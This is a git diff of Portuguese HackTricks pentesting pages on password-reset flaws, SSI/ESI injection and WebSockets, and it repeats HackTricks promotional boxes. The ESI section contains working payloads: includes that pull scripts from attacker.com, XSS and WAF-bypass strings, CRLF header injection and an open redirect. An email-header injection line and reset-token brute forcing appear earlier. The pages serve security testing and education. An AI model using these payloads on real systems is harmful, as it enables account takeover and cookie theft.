Ao implementar essa funcionalidade, é fundamental garantir que o link de redefinição de senha seja válido apenas por um período limitado e que expire após o uso. Isso evita que um link antigo seja usado por um invasor para redefinir a senha de um usuário.
|
||||
|
||||
## Proteção contra Ataques de Força Bruta
|
||||
|
||||
Para evitar ataques de força bruta, é recomendável implementar medidas de proteção, como limitar o número de tentativas de redefinição de senha em um determinado período de tempo. Além disso, é importante usar mecanismos de autenticação robustos, como CAPTCHA, para verificar se o solicitante é um humano legítimo.
|
||||
|
||||
## Vazamento de Informações
|
||||
|
||||
Ao lidar com solicitações de redefinição de senha, é importante ter cuidado para não revelar informações sensíveis. Por exemplo, se um usuário inserir um endereço de e-mail inválido, a resposta não deve indicar explicitamente que o endereço de e-mail não existe em seu sistema. Em vez disso, uma mensagem genérica deve ser exibida para evitar vazamento de informações.
|
||||
|
||||
## Testando a Funcionalidade de Redefinição de Senha
|
||||
|
||||
Durante um teste de penetração, é essencial verificar se a funcionalidade de redefinição de senha é segura. Isso pode ser feito tentando explorar possíveis vulnerabilidades, como links de redefinição de senha que não expiram ou não são exclusivos. Além disso, é importante verificar se as medidas de proteção contra ataques de força bruta estão funcionando corretamente.
|
||||
|
||||
## Conclusão
|
||||
|
||||
A redefinição de senha é uma funcionalidade crítica em muitos sistemas. Ao implementá-la, é fundamental seguir as melhores práticas de segurança para garantir que os usuários possam redefinir suas senhas de forma segura e que a funcionalidade não seja explorada por hackers.
|
||||
Mudança de Resposta
|
||||
```php
|
||||
HTTP/1.1 200 OK
|
||||
(“message”:”success”,”statusCode:200,”errorDescription”:”Success”)
|
||||
```
|
||||
### Referência
|
||||
|
||||
* https://medium.com/@innocenthacker/como-encontrei-o-bug-mais-crítico-em-um-evento-de-recompensa-por-bugs-ao-vivo-7a88b3aa97b3
|
||||
* https://medium.com/@innocenthacker/how-i-found-the-most-critical-bug-in-live-bug-bounty-event-7a88b3aa97b3
|
||||
|
||||
### Usando Token Expirado <a href="#8-using-expired-token" id="8-using-expired-token"></a>
|
||||
|
||||
|
|
@ -278,7 +254,7 @@ HTTP/1.1 200 OK
|
|||
|
||||
### Força Bruta no Token de Redefinição de Senha <a href="#9-brute-force-password-rest-token" id="9-brute-force-password-rest-token"></a>
|
||||
|
||||
Tente fazer força bruta no token de redefinição usando o Burpsuite
|
||||
Tente forçar a descoberta do token de redefinição usando Burpsuite
|
||||
```php
|
||||
POST /resetPassword
|
||||
[...]
|
||||
|
|
@ -292,7 +268,7 @@ email=victim@email.com&code=$BRUTE$
|
|||
|
||||
### Tente Usar Seu Token <a href="#10-try-using-your-token" id="10-try-using-your-token"></a>
|
||||
|
||||
* Tente adicionar o token de redefinição de senha com a conta da vítima.
|
||||
* Tente adicionar seu token de redefinição de senha com a conta da vítima
|
||||
```php
|
||||
POST /resetPassword
|
||||
[...]
|
||||
|
|
@ -304,46 +280,46 @@ email=victim@email.com&code=$YOUR_TOKEN$
|
|||
|
||||
## Invalidação de Sessão no Logout/Reset de Senha
|
||||
|
||||
Quando um usuário faz logout ou reseta sua senha, a sessão atual deve ser invalidada.\
|
||||
Portanto, capture os cookies enquanto o usuário estiver logado, faça logout e verifique se os cookies ainda estão válidos.\
|
||||
Repita o processo alterando a senha em vez de fazer logout.
|
||||
Quando um usuário **faz logout ou redefine sua senha**, a sessão atual deve ser invalidada.\
|
||||
Portanto, **capture os cookies** enquanto o usuário está logado, **faça logout** e **verifique** se os **cookies** ainda estão **válidos**.\
|
||||
Repita o processo **mudando a senha** em vez de fazer logout.
|
||||
|
||||
## Tempo de Expiração do Token de Reset
|
||||
|
||||
Os tokens de reset devem ter um tempo de expiração, após o qual o token não deve ser válido para alterar a senha de um usuário.
|
||||
Os **tokens de reset devem ter um tempo de expiração**, após isso o token não deve ser válido para alterar a senha de um usuário.
|
||||
|
||||
## Verificações Extras
|
||||
|
||||
* Use username@burp\_collab.net e analise o retorno
|
||||
* Usuário com cópia oculta de email=victim@mail.com%0a%0dcc:hacker@mail.com
|
||||
* Senha longa (>200) causa DoS
|
||||
* Acrescente um segundo parâmetro de email e valor
|
||||
* Use username@burp\_collab.net e analise o callback
|
||||
* Usuário cópia de carbono email=victim@mail.com%0a%0dcc:hacker@mail.com
|
||||
* Senha longa (>200) leva a DoS
|
||||
* Anexe segundo parâmetro de email e valor
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**HackenProof é o lar de todas as recompensas por bugs de criptografia.**
|
||||
Junte-se ao servidor [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) para se comunicar com hackers experientes e caçadores de recompensas por bugs!
|
||||
|
||||
**Seja recompensado sem atrasos**\
|
||||
As recompensas do HackenProof são lançadas apenas quando os clientes depositam o orçamento de recompensa. Você receberá a recompensa após a verificação do bug.
|
||||
**Insights de Hacking**\
|
||||
Interaja com conteúdo que explora a emoção e os desafios do hacking
|
||||
|
||||
**Adquira experiência em pentesting web3**\
|
||||
Protocolos de blockchain e contratos inteligentes são a nova Internet! Domine a segurança web3 em seus dias de ascensão.
|
||||
**Notícias de Hacking em Tempo Real**\
|
||||
Mantenha-se atualizado com o mundo acelerado do hacking através de notícias e insights em tempo real
|
||||
|
||||
**Torne-se a lenda dos hackers web3**\
|
||||
Ganhe pontos de reputação com cada bug verificado e conquiste o topo do leaderboard semanal.
|
||||
**Últimos Anúncios**\
|
||||
Fique informado com os mais novos bounties de bugs lançados e atualizações cruciais da plataforma
|
||||
|
||||
[**Cadastre-se no HackenProof**](https://hackenproof.com/register) e comece a ganhar com seus hacks!
|
||||
|
||||
{% embed url="https://hackenproof.com/register" %}
|
||||
**Junte-se a nós no** [**Discord**](https://discord.com/invite/N3FrSbmwdy) e comece a colaborar com os melhores hackers hoje!
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* Você trabalha em uma **empresa de cibersegurança**? Gostaria de ver sua **empresa anunciada no HackTricks**? Ou gostaria de ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo Telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e para o** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
Outras formas de apoiar o HackTricks:
|
||||
|
||||
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga**-me no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Compartilhe suas dicas de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) no github.
|
||||
|
||||
</details>
|
||||
|
|
|
|||
|
|
@ -1,15 +1,31 @@
|
|||
## Informações Básicas sobre Inclusão do Lado do Servidor
|
||||
# Injeção de Inclusão no Lado do Servidor/Inclusão no Lado da Borda
|
||||
|
||||
SSI (Server Side Includes) são diretivas que são **colocadas em páginas HTML e avaliadas no servidor** enquanto as páginas estão sendo servidas. Elas permitem que você **adicione conteúdo gerado dinamicamente** a uma página HTML existente, sem ter que servir a página inteira por meio de um programa CGI ou outra tecnologia dinâmica.\
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Outras formas de apoiar o HackTricks:
|
||||
|
||||
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga**-me no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios github do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
## Informações Básicas sobre Inclusão no Lado do Servidor
|
||||
|
||||
SSI (Server Side Includes) são diretivas que são **colocadas em páginas HTML e avaliadas no servidor** enquanto as páginas estão sendo fornecidas. Elas permitem **adicionar conteúdo gerado dinamicamente** a uma página HTML existente, sem a necessidade de fornecer a página inteira através de um programa CGI ou outra tecnologia dinâmica.\
|
||||
Por exemplo, você pode colocar uma diretiva em uma página HTML existente, como:
|
||||
|
||||
`<!--#echo var="DATE_LOCAL" -->`
|
||||
|
||||
E, quando a página é servida, este fragmento será avaliado e substituído por seu valor:
|
||||
E, quando a página é fornecida, este fragmento será avaliado e substituído pelo seu valor:
|
||||
|
||||
`Terça-feira, 15-Jan-2013 19:28:54 EST`
|
||||
|
||||
A decisão de quando usar SSI e quando ter sua página inteiramente gerada por algum programa é geralmente uma questão de quanto da página é estática e quanto precisa ser recalculado toda vez que a página é servida. SSI é uma ótima maneira de adicionar pequenos pedaços de informação, como a hora atual - mostrada acima. Mas se a maioria da sua página está sendo gerada no momento em que é servida, você precisa procurar outra solução. (Definição retirada daqui (https://httpd.apache.org/docs/current/howto/ssi.html)).
|
||||
A decisão de quando usar SSI, e quando ter sua página inteiramente gerada por algum programa, geralmente é uma questão de quanto da página é estático e quanto precisa ser recalculado cada vez que a página é fornecida. SSI é uma ótima maneira de adicionar pequenas peças de informação, como a hora atual - mostrada acima. Mas se a maioria da sua página está sendo gerada no momento em que é fornecida, você precisa procurar outra solução. (Definição retirada de [aqui](https://httpd.apache.org/docs/current/howto/ssi.html)).
|
||||
|
||||
Você pode inferir a presença de SSI se a aplicação web usa arquivos com as extensões \*\* `.shtml`, `.shtm` ou `.stm`\*\*, mas não é apenas o caso.
|
||||
|
||||
|
|
@ -17,7 +33,7 @@ Uma expressão SSI típica tem o seguinte formato:
|
|||
```
|
||||
<!--#directive param="value" -->
|
||||
```
|
||||
### Verificação
|
||||
### Verificar
|
||||
```javascript
|
||||
// Document name
|
||||
<!--#echo var="DOCUMENT_NAME" -->
|
||||
|
|
@ -48,22 +64,22 @@ Uma expressão SSI típica tem o seguinte formato:
|
|||
<!--#set var="name" value="Rich" -->
|
||||
|
||||
```
|
||||
## Inclusão do Lado do Servidor
|
||||
## Inclusão no Lado do Servidor (Edge Side Inclusion)
|
||||
|
||||
Existe um problema ao **armazenar em cache informações ou aplicativos dinâmicos** pois parte do conteúdo pode ter **variações** para a próxima vez que o conteúdo for recuperado. É para isso que o **ESI** é usado, para indicar usando tags ESI o **conteúdo dinâmico que precisa ser gerado** antes de enviar a versão em cache.\
|
||||
Se um **atacante** for capaz de **injetar uma tag ESI** dentro do conteúdo em cache, então ele pode ser capaz de **injetar conteúdo arbitrário** no documento antes que seja enviado aos usuários.
|
||||
Há um problema ao **armazenar informações ou aplicações dinâmicas em cache**, pois parte do conteúdo pode ter **variado** para a próxima vez que o conteúdo for recuperado. É para isso que o **ESI** é utilizado, para indicar usando tags ESI o **conteúdo dinâmico que precisa ser gerado** antes de enviar a versão em cache.\
|
||||
Se um **atacante** conseguir **injetar uma tag ESI** dentro do conteúdo em cache, então, ele poderá **injetar conteúdo arbitrário** no documento antes de ser enviado aos usuários.
|
||||
|
||||
### Detecção de ESI
|
||||
|
||||
O seguinte **cabeçalho** em uma resposta do servidor significa que o servidor está usando ESI:
|
||||
O seguinte **cabeçalho** em uma resposta do servidor indica que o servidor está utilizando ESI:
|
||||
```
|
||||
Surrogate-Control: content="ESI/1.0"
|
||||
```
|
||||
Se você não conseguir encontrar esse cabeçalho, o servidor **ainda pode estar usando ESI**.\
|
||||
Uma **abordagem de exploração cega também pode ser usada** já que uma solicitação deve chegar ao servidor do atacante:
|
||||
Se você não encontrar esse cabeçalho, o servidor **pode estar usando ESI mesmo assim**.\
|
||||
Uma **abordagem de exploração cega também pode ser utilizada**, já que uma solicitação deve chegar ao servidor do atacante:
|
||||
```javascript
|
||||
// Basic detection
|
||||
hell<!--esi-->o
|
||||
hell<!--esi-->o
|
||||
// If previous is reflected as "hello", it's vulnerable
|
||||
|
||||
// Blind detection
|
||||
|
|
@ -86,29 +102,29 @@ hell<!--esi-->o
|
|||
[GoSecure](https://www.gosecure.net/blog/2018/04/03/beyond-xss-edge-side-include-injection/) criou uma tabela para nos ajudar a entender possíveis ataques que podemos tentar contra diferentes softwares capazes de ESI, dependendo da funcionalidade suportada. Vamos fornecer algumas explicações sobre os nomes das colunas da tabela abaixo primeiro:
|
||||
|
||||
* **Includes**: Suporta a diretiva `<esi:includes>`
|
||||
* **Vars**: Suporta a diretiva `<esi:vars>`. Útil para contornar filtros XSS
|
||||
* **Cookie**: Os cookies do documento são acessíveis ao mecanismo ESI
|
||||
* **Upstream Headers Required**: As aplicações de substituição não processarão declarações ESI a menos que a aplicação upstream forneça os cabeçalhos
|
||||
* **Host Allowlist**: Neste caso, as inclusões ESI só são possíveis a partir de hosts de servidor permitidos, tornando, por exemplo, SSRF possível apenas contra esses hosts
|
||||
* **Vars**: Suporta a diretiva `<esi:vars>`. Útil para contornar Filtros de XSS
|
||||
* **Cookie**: Cookies do documento são acessíveis pelo motor de ESI
|
||||
* **Upstream Headers Required**: Aplicações substitutas não processarão declarações de ESI a menos que a aplicação a montante forneça os cabeçalhos
|
||||
* **Host Allowlist**: Neste caso, inclusões de ESI só são possíveis a partir de hosts de servidores permitidos, tornando SSRF, por exemplo, possível apenas contra esses hosts
|
||||
|
||||
| **Software** | **Includes** | **Vars** | **Cookies** | **Upstream Headers Required** | **Host Whitelist** |
|
||||
| :--------------------------: | :----------: | :------: | :---------: | :---------------------------: | :----------------: |
|
||||
| Squid3 | Sim | Sim | Sim | Sim | Não |
|
||||
| Varnish Cache | Sim | Não | Não | Sim | Sim |
|
||||
| Fastly | Sim | Não | Não | Não | Sim |
|
||||
| Akamai ESI Test Server (ETS) | Sim | Sim | Sim | Não | Não |
|
||||
| NodeJS esi | Sim | Sim | Sim | Não | Não |
|
||||
| NodeJS nodesi | Sim | Não | Não | Não | Opcional |
|
||||
| Varnish Cache | Sim | Não | Não | Sim | Sim |
|
||||
| Fastly | Sim | Não | Não | Não | Sim |
|
||||
| Akamai ESI Test Server (ETS) | Sim | Sim | Sim | Não | Não |
|
||||
| NodeJS esi | Sim | Sim | Sim | Não | Não |
|
||||
| NodeJS nodesi | Sim | Não | Não | Não | Opcional |
|
||||
|
||||
#### XSS
|
||||
|
||||
A seguinte diretiva ESI carregará um arquivo arbitrário dentro da resposta do servidor.
|
||||
A seguinte diretiva ESI carregará um arquivo arbitrário dentro da resposta do servidor
|
||||
```markup
|
||||
<esi:include src=http://attacker.com/xss.html>
|
||||
```
|
||||
O arquivo _http://attacker.com/xss.html_ pode conter um payload XSS como `<script>alert(1)</script>`
|
||||
|
||||
#### Bypassar proteção XSS do cliente
|
||||
#### Bypass na proteção contra XSS do cliente
|
||||
```markup
|
||||
x=<esi:assign name="var1" value="'cript'"/><s<esi:vars name="$(var1)"/>>alert(/Chrome%20XSS%20filter%20bypass/);</s<esi:vars name="$(var1)"/>>
|
||||
|
||||
|
|
@ -116,7 +132,7 @@ Use <!--esi--> to bypass WAFs:
|
|||
<scr<!--esi-->ipt>aler<!--esi-->t(1)</sc<!--esi-->ript>
|
||||
<img+src=x+on<!--esi-->error=ale<!--esi-->rt(1)>
|
||||
```
|
||||
#### Roubo de Cookie
|
||||
#### Roubar Cookie
|
||||
|
||||
* Roubo remoto de cookie
|
||||
```markup
|
||||
|
|
@ -130,27 +146,21 @@ Use <!--esi--> to bypass WAFs:
|
|||
# Reflect XSS
|
||||
<!--esi/$url_decode('"><svg/onload=prompt(1)>')/-->
|
||||
```
|
||||
<figure><img src="../.gitbook/assets/image (4) (7).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
* Tomada completa da conta refletindo cookies
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (21).png" alt=""><figcaption></figcaption></figure>
|
||||
* Domínio completo da conta refletindo cookies
|
||||
|
||||
#### Arquivo Local Privado
|
||||
|
||||
Não confunda isso com "Inclusão de Arquivo Local":
|
||||
Não confunda isso com uma "Inclusão de Arquivo Local":
|
||||
```markup
|
||||
<esi:include src="secret.txt">
|
||||
```
|
||||
#### CRLF
|
||||
|
||||
CRLF significa Carriage Return Line Feed. É uma sequência de caracteres usada para representar o final de uma linha de texto em um arquivo. Em sistemas Windows, CRLF é usado para indicar uma nova linha, enquanto em sistemas Unix, apenas LF é usado. O CRLF é importante em ataques de Injeção de SSI/ESI, pois pode ser usado para injetar cabeçalhos HTTP maliciosos e, assim, realizar ataques de phishing ou redirecionamento de página.
|
||||
```markup
|
||||
<esi:include src="http://anything.com%0d%0aX-Forwarded-For:%20127.0.0.1%0d%0aJunkHeader:%20JunkValue/"/>
|
||||
```
|
||||
#### Redirecionamento Aberto
|
||||
|
||||
O seguinte adicionará um cabeçalho `Location` à resposta.
|
||||
O seguinte adicionará um cabeçalho `Location` à resposta
|
||||
```bash
|
||||
<!--esi $add_header('Location','http://attacker.com') -->
|
||||
```
|
||||
|
|
@ -168,16 +178,14 @@ O seguinte adicionará um cabeçalho `Location` à resposta.
|
|||
|
||||
<!--esi/$(HTTP_COOKIE)/$add_header('Content-Type','text/html')/$url_decode($url_decode('"><svg/onload=prompt(1)>'))/-->
|
||||
```
|
||||
<figure><img src="../.gitbook/assets/image (5) (1) (1) (2).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### CRLF em Adicionar cabeçalho (**CVE-2019-2438)**
|
||||
#### CRLF no Cabeçalho Add (**CVE-2019-2438)**
|
||||
```markup
|
||||
<esi:include src="http://example.com/asdasd">
|
||||
<esi:request_header name="User-Agent" value="12345
|
||||
Host: anotherhost.com"/>
|
||||
</esi:include>
|
||||
```
|
||||
#### Depuração Akamai
|
||||
#### Akamai debug
|
||||
|
||||
Isso enviará informações de depuração incluídas na resposta:
|
||||
```markup
|
||||
|
|
@ -185,7 +193,7 @@ Isso enviará informações de depuração incluídas na resposta:
|
|||
```
|
||||
### ESI + XSLT = XXE
|
||||
|
||||
Também é possível adicionar includes ESI baseados em **\_**eXtensible Stylesheet Language Transformations (XSLT)**\_** adicionando o valor `xslt` ao parâmetro _dca_. O seguinte include fará com que o HTTP surrogate solicite o arquivo XML e XSLT. O arquivo XSLT é então usado para filtrar o arquivo XML. Este arquivo XML pode ser usado para realizar ataques _XML External Entity (XXE)_. Isso permite que os atacantes realizem ataques SSRF, o que não é muito útil, já que isso deve ser feito por meio de includes ESI, que é um vetor SSRF em si. DTDs externos não são analisados, pois a biblioteca subjacente (Xalan) não tem suporte para isso. Isso significa que não podemos extrair arquivos locais.
|
||||
Também é possível adicionar inclusões ESI baseadas em \*\* **\_**eXtensible Stylesheet Language Transformations (XSLT)**\_** \*\* especificando o valor `xslt` para o parâmetro _dca_. A inclusão a seguir fará com que o substituto HTTP solicite o arquivo XML e XSLT. O arquivo XSLT é então usado para filtrar o arquivo XML. Este arquivo XML pode ser usado para realizar ataques _XML External Entity (XXE)_. Isso permite que atacantes realizem ataques SSRF, o que não é muito útil, já que isso deve ser realizado por meio de inclusões ESI, que já é um vetor SSRF por si só. DTDs externos não são analisados, pois a biblioteca subjacente (Xalan) não tem suporte para isso. Isso significa que não podemos extrair arquivos locais.
|
||||
```markup
|
||||
<esi:include src="http://host/poc.xml" dca="xslt" stylesheet="http://host/poc.xsl" />
|
||||
```
|
||||
|
|
@ -197,8 +205,8 @@ O arquivo XSLT:
|
|||
```
|
||||
Verifique a página XSLT:
|
||||
|
||||
{% content-ref url="xslt-server-side-injection-extensible-stylesheet-languaje-transformations.md" %}
|
||||
[xslt-server-side-injection-extensible-stylesheet-languaje-transformations.md](xslt-server-side-injection-extensible-stylesheet-languaje-transformations.md)
|
||||
{% content-ref url="xslt-server-side-injection-extensible-stylesheet-language-transformations.md" %}
|
||||
[xslt-server-side-injection-extensible-stylesheet-language-transformations.md](xslt-server-side-injection-extensible-stylesheet-language-transformations.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Referências
|
||||
|
|
@ -208,18 +216,20 @@ Verifique a página XSLT:
|
|||
* [https://academy.hackthebox.com/module/145/section/1304](https://academy.hackthebox.com/module/145/section/1304)
|
||||
* [https://infosecwriteups.com/exploring-the-world-of-esi-injection-b86234e66f91](https://infosecwriteups.com/exploring-the-world-of-esi-injection-b86234e66f91)
|
||||
|
||||
## Lista de Detecção de Força Bruta
|
||||
## Lista de Detecção de Brute-Force
|
||||
|
||||
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssi_esi.txt" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>Aprenda hacking em AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
Outras formas de apoiar o HackTricks:
|
||||
|
||||
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**merchandising oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios do github** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
|
|||
|
|
@ -2,31 +2,33 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
Outras formas de apoiar o HackTricks:
|
||||
|
||||
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) no github.
|
||||
|
||||
</details>
|
||||
|
||||
## O que são WebSockets
|
||||
|
||||
As conexões WebSocket são iniciadas por meio do **HTTP** e geralmente são **de longa duração**. As mensagens podem ser enviadas em **ambas as direções a qualquer momento** e não são transacionais por natureza. A conexão normalmente permanecerá aberta e ociosa até que o cliente ou o servidor esteja pronto para enviar uma mensagem.\
|
||||
Os WebSockets são particularmente úteis em situações em que são necessárias **mensagens de baixa latência ou iniciadas pelo servidor**, como feeds em tempo real de dados financeiros.
|
||||
Conexões WebSocket são iniciadas sobre **HTTP** e são tipicamente **de longa duração**. Mensagens podem ser enviadas em **qualquer direção a qualquer momento** e não são de natureza transacional. A conexão normalmente permanece aberta e ociosa até que o cliente ou o servidor esteja pronto para enviar uma mensagem.\
|
||||
WebSockets são particularmente úteis em situações onde **baixa latência ou mensagens iniciadas pelo servidor** são necessárias, como feeds em tempo real de dados financeiros.
|
||||
|
||||
### Como as conexões WebSocket são estabelecidas?
|
||||
|
||||
(Aqui você encontrará um resumo, mas um **guia mais detalhado sobre como uma conexão de web socket** é criada pode ser encontrado [**aqui**](https://infosecwriteups.com/cross-site-websocket-hijacking-cswsh-ce2a6b0747fc)).\
|
||||
